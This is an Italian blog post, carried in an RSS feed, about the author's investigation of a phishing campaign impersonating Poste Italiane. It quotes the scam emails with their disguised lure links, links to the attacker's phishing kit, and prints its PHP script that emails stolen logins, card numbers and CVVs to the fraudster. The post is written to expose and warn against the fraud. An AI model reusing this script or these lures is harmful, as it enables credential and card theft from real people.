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	<title>Arturu.it &#187; posta</title>
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	<link>http://www.arturu.it/blog</link>
	<description>La necessità di parlare, l&#039;imbarazzo di non aver nulla da dire e la brama di mostrarsi persone di spirito sono tre cose capaci di rendere ridicolo anche l&#039;uomo più grande.</description>
	<lastBuildDate>Sun, 24 Jan 2010 15:30:05 +0000</lastBuildDate>
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			<item>
		<title>PHISHING: Come ti svuoto la carta di credito</title>
		<link>http://www.arturu.it/blog/2009/09/16/phishing-come-ti-svuoto-la-carta-di-credito/</link>
		<comments>http://www.arturu.it/blog/2009/09/16/phishing-come-ti-svuoto-la-carta-di-credito/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 21:37:07 +0000</pubDate>
		<dc:creator>arturu</dc:creator>
				<category><![CDATA[Frodi]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[carta di credito]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[posta]]></category>

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		<description><![CDATA[

Quando si parla Phishing la maggior parte delle persone pensa che si stà parlando di bisogni fisiologici oppure i più malizioni pensano subito al mondo dell&#8217;erotismo. Il Phishing, è una tecnica di ingegneria sociale, punta a carpire le informazioni riservate di una persona. L&#8217;aspetto più tragico delle tecniche di ingnegneria sociale (dato che l&#8217;obbietivo sono [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-274" title="mail" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mail.png" alt="mail" width="128" height="128" />Quando si parla Phishing la maggior parte delle persone pensa che si stà parlando di bisogni fisiologici oppure i più malizioni pensano subito al mondo dell&#8217;erotismo. Il Phishing, è una tecnica di ingegneria sociale, punta a carpire le informazioni riservate di una persona. L&#8217;aspetto più tragico delle tecniche di ingnegneria sociale (dato che l&#8217;obbietivo sono le informazioni e quindi <span style="text-decoration: underline;">beni immateriali</span>) è che la vittima difficilmente si accorgerà dell&#8217;attacco, a parte quei casi in cui le informazioni sono utilizzate per sottrare beni materiali. Per chi non ne sa niente e volesse approfondire può consultare: <a href="http://it.wikipedia.org/wiki/Phishing" target="_blank">Phishing</a>, <a href="http://it.wikipedia.org/wiki/Ingegneria_sociale" target="_blank">Ingegneria Sociale</a>.</p>
<p align="justify">Ho deciso di parlare di questa tecnica perché stamattina ho subito un tentativo di phishing. Mi è arrivata una mail da Poste Italiane chiedendomi di reinserire i dati del mio conto pena un mancato servizio, logicamente è un tentativo di frode, un modo subdolo per riuscire a carpire i miei dati per rubarmi i miei <em>20 euri</em> che ho sul conto, cattivone  <img title="Cry" src="../../home/mambots/editors/tinymce/jscripts/tiny_mce/plugins/emotions/images/smiley-cry.gif" border="0" alt="Cry" /> &#8230; Ora ti aggiusto io&#8230;<span id="more-495"></span></p>
<p>Stamattina come al solito vado a controllare la posta. Tra le mail che mi sono arrivate c&#8217;erano tre da parte di Poste Italiane. Mi domando &#8220;Cosa sarà mai successo. Un cataclisma che incombe su tutto l&#8217;universo.&#8221;. Poi il contenuto mi ha veramente stupito.</p>
<p align="justify"><strong>Il contenuto della prima:</strong></p>
<p align="justify"><em> Il phishing и una frode informatica, realizzata con l&#8217;invio di e-mail contraffatte, inalizzata all&#8217;acquisizione, per scopi illegali, di dati riservati.<br />
Gentile Cliente,<br />
nell&#8217;ambito di un progetto di verifica dei data anagrafici forniti durante la sottoscrizione dei servizi di Posteitaliane e stata riscontrata una incongruenza relativa ai dati anagrafici in oggetto da Lei forniti all momento della sottoscrizione contrattuale.</em></p>
<p><em>L&#8217;inserimento dei dati alterati puo costituire motivo di interruzione del servizio secondo gli art. 135 e 137/c da Lei accettati al momento della sottoscrizione, oltre a costituire reato penalmente perseguibile secondo il C.P.P ar.415 del 2001 relativo alla legge contro il riciclaggio e la transparenza dei dati forniti in auto certificazione.</em></p>
<p><em>Per ovviare al problema e necessaria la verifica e l&#8217;aggiornamento dei dati relativi all&#8217;anaagrafica dell&#8217;Intestatario dei servizi Postali. Effetuare l&#8217;aggiornamento dei dati cliccando sul seguente collegamento sicuro:</em></p>
<p><em><a href="http://vps.kt-angel.com/online/bancopostaonline.poste.it/index.htm">https://bancopostaonline.poste.it/bpol/cartepre/formslogin.asp</a></em></p>
<p><em>Cordiali Saluti.</em></p>
<p align="justify"><strong>Il contenuto della seconda:</strong></p>
<p align="justify"><em> Oggetto: Comunicazione nr. 91219 del 26 Aprile 2007 &#8211; Leggere con attenzione</em></p>
<p><em>Gentile Cliente,<br />
Nell&#8217;ambito di un progetto di verifica dei data anagrafici forniti durante la sottoscrizione dei servizi di Posteitaliane e stata riscontrata una incongruenza relativa ai dati anagrafici in oggetto da Lei forniti all momento della sottoscrizione contrattuale.</em></p>
<p><em>L&#8217;inserimento dei dati alterati puo costituire motivo di interruzione del servizio secondo gli art. 135 e 137/c da Lei accettati al momento della sottoscrizione, oltre a costituire reato penalmente perseguibile secondo il C.P.P ar.415 del 2001 relativo alla legge contro il riciclaggio e la transparenza dei dati forniti in auto certificazione.</em></p>
<p><em>Per ovviare al problema e necessaria la verifica e l&#8217;aggiornamento dei dati relativi all&#8217;anaagrafica dell&#8217;Intestatario dei servizi Postali. Effetuare l&#8217;aggiornamento dei dati cliccando sul seguente collegamento sicuro:</em></p>
<p><em><a href="http://mail.provexcaruio.com/%20%20/bancopostaonline.poste.it/login.html">https://bancopostaonline.poste.it/bpol/cartepre/formslogin.asp</a></em></p>
<p><em>Cordiali Saluti.</em></p>
<p align="justify">A parte che il mio programma di posta (Thunderbird) mi segnalava la possibilità che fosse una frode c&#8217;erano molti motivi per capire subito che si trattava di una frode:</p>
<div>
<ul>
<li>Non vengono mai inviate mail che chiedono di reinserire dati a causa di un errore.</li>
<li>L&#8217;indirizzo della pagina a cui si arriva schiacciando sul collegamento indicato porta ad una pagina che è identica a poste.it (una copia perfetta) ad esclusione dell&#8217;indirizzo.</li>
<li>Non è un collegamento sicuro (https://) ma solo un collegamento normale (http://)</li>
<li>Disgrazie grammaticali.</li>
</ul>
</div>
<div>Molto incuriosito mi sono messo ad indagare. Clicco su un collegamento, il browser (firefox) mi segnala che il sito a cui stò cercando di collegarmi non è quello originale ma una copia, quindi un tentativo di frode. Tra i collegamenti che ho provato alcuni di questi sono stati rimossi, sicuramente per non lasciare prove (vedi figura sopra a destra), invece uno solo ancora era disponibile (nella figura a sinistra). Da persona abbastanza curiosa mi sono messo in testa di scavare molto più a fondo usando <a href="http://mail.provexcaruio.com/%20%20/bancopostaonline.poste.it/login.html" target="_blank">questo</a> collegamento.</div>
<div>Come prima cosa ho chiuso  tutti gli avvisi di firefox. Nelle caselle dove mi chiedeva &#8220;Nome utente&#8221; e &#8220;Password&#8221; ho messo dati fasulli (una valanga di volgarità <img title="Cool" src="../../home/mambots/editors/tinymce/jscripts/tiny_mce/plugins/emotions/images/smiley-cool.gif" border="0" alt="Cool" />). Appena premuto su &#8220;Esegui&#8221; un&#8217;altra schermata simile al sito di poste.it mi chiedeva i dati della carta postepay e qui un&#8217;altra valanga di dati falsi (vedi figura a sinistra, è presente anche la funzione che calcola il numero di caratteri inseriti), appena cliccato su &#8220;vai&#8221; come per magia mi fa arrivare alla vera home page di poste.it, naturalmente per non destare sospetti.</div>
<div>La prima cosa che mi viene da fare è controllare a chi appartiene il sito consultando alcuni database whois come ad esemprio il <a href="http://www.ripe.net/whois" target="_blank">ripe</a>, però niente. Strano. La società che ha registrato il dominio non ha inserito i dati dell&#8217;utente.</div>
<div><a href="../../home/images/stories/hack/firefox004.jpg" target="_blank"><img src="../../home/images/stories/hack/firefox004_m.jpg" alt=" " hspace="10" align="left" /></a></div>
<div>Ancora non contento mi sono messo a smanettare con gli indirizzi e arrivo a quello indicato nella figura accanto. Con grandissima sorpresa mi accorgo che il nostro grandissimo e meraviglioso truffatore ha dimostrato che è un emerito imbecille oltre che un ignorate (visti gli orrori grammaticali). Infatti il nostro &#8220;eroe&#8221; ha lasciato sul server il file .zip in cui erano contenuti i file per poter copiare il sito di poste.it e farsi inviare tramite mail i dati (una copia l&#8217;ho salvata <a href="../../home/images/stories/down/it.zip">qui</a>). Tra i file c&#8217;era uno &#8220;session.php&#8221;:</div>
<p><code> </code></p>
<div>&lt;?<br />
session_start();<br />
$USER = $_SESSION['USER'];<br />
$PASS = $_SESSION['PASS'];<br />
$CC = $_POST['CC'];<br />
$MONTH = $_POST['EM'];<br />
$YEAR = $_POST['EY'];<br />
$CVV = $_POST['CVV2'];</p>
<p>$ip = getenv(&#8221;REMOTE_ADDR&#8221;);<br />
$adddate=date(&#8221;D M d, Y g:i a&#8221;);</p>
<p>$subj = &#8220;$USER : $PASS __ $CC $MONTH/$YEAR $CVV &#8220;;<br />
$msg = &#8221;</p>
<p>Poste IT</p>
<p>User : $USER<br />
Pass : $PASS</p>
<p>Card Number : $CC<br />
Expiration Date ( mm/yy ) : $MONTH/$YEAR<br />
CVV2 : $CVV</p>
<p>&#8220;;</p>
<p>mail(&#8221;  <script type="text/javascript">// <![CDATA[
// <![CDATA[
 var prefix = '&#109;a' + 'i&#108;' + '&#116;o';
 var path = 'hr' + 'ef' + '=';
 var addy16942 = '&#101;m&#97;&#105;l' + '&#64;';
 addy16942 = addy16942 + 'd&#111;m&#97;&#105;n' + '&#46;' + 'c&#111;m';
 document.write( '<a ' + path + '\'' + prefix + ':' + addy16942 + '\'>' );
 document.write( addy16942 );
 document.write( '<\/a>' );
 //\n
// --&gt;
// ]]&gt;</script><a href="mailto:email@domain.com">email@domain.com</a> <script type="text/javascript">// <![CDATA[
// <![CDATA[
 document.write( '<span style="\" mce_style="\"'display: none;\'>' );
// ]]&gt;</script><span style="display: none;">Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo.  <script type="text/javascript">// <![CDATA[
// <![CDATA[
 document.write( '</' );  document.write( 'span>' );
// ]]&gt;</script></span>&#8220;, $subj, $msg);<br />
header(&#8221;Location: complete.html&#8221;);</p>
<p>?&gt;</p></div>
<div>La cosa interessante è che i dati delle persone truffate vengono inviate alla casella: &#8221;  <script type="text/javascript">// <![CDATA[
// <![CDATA[
 var prefix = '&#109;a' + 'i&#108;' + '&#116;o';
 var path = 'hr' + 'ef' + '=';
 var addy10818 = '&#101;m&#97;&#105;l' + '&#64;';
 addy10818 = addy10818 + 'd&#111;m&#97;&#105;n' + '&#46;' + 'c&#111;m';
 document.write( '<a ' + path + '\'' + prefix + ':' + addy10818 + '\'>' );
 document.write( addy10818 );
 document.write( '<\/a>' );
 //\n
// --&gt;
// ]]&gt;</script><a href="mailto:email@domain.com">email@domain.com</a> <script type="text/javascript">// <![CDATA[
// <![CDATA[
 document.write( '<span style="\" mce_style="\"'display: none;\'>' );
// ]]&gt;</script><span style="display: none;">Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo.  <script type="text/javascript">// <![CDATA[
// <![CDATA[
 document.write( '</' );  document.write( 'span>' );
// ]]&gt;</script></span>&#8220;.</div>
<div>Come prima cosa vado a vedere l&#8217;indirizzo <a href="http://www.domain.com/" target="_blank">http://www.domain.com</a>, sembra il sito di un maintener (società che forniscono dei servizi ai webmaster: registrazione domini, hosting, using, server virtuali, ecc). Interrogo dinuovo il database e:</div>
<div>
<pre><em>% This is the RIPE Whois query server #1.</em>
<em>% The objects are in RPSL format.</em>
%
<em>% Rights restricted by copyright.</em>
<em>% See <a href="http://www.ripe.net/db/copyright.html">http://www.ripe.net/db/copyright.html</a></em></pre>
<pre><em>%ERROR:101: no entries found</em>
%
<em>% No entries found in the selected source(s).</em></pre>
</div>
<div>Nessuna informazione in merito. Purtroppo sono costretto a fermarmi qui. Da qui in avanti solo la Polizia Postale ha l&#8217;autorità giuridica a procedere.</div>
<div>Una piccola osservazione. Meno male che utilizzo <a href="http://www.mozilla.org/" target="_blank">Mozilla Firefox e Thunderbird</a> altrimenti potevo cadere nell&#8217;inganno. State attenti alle facciate a volte nascondono qualcosa di brutto&#8230;</div>
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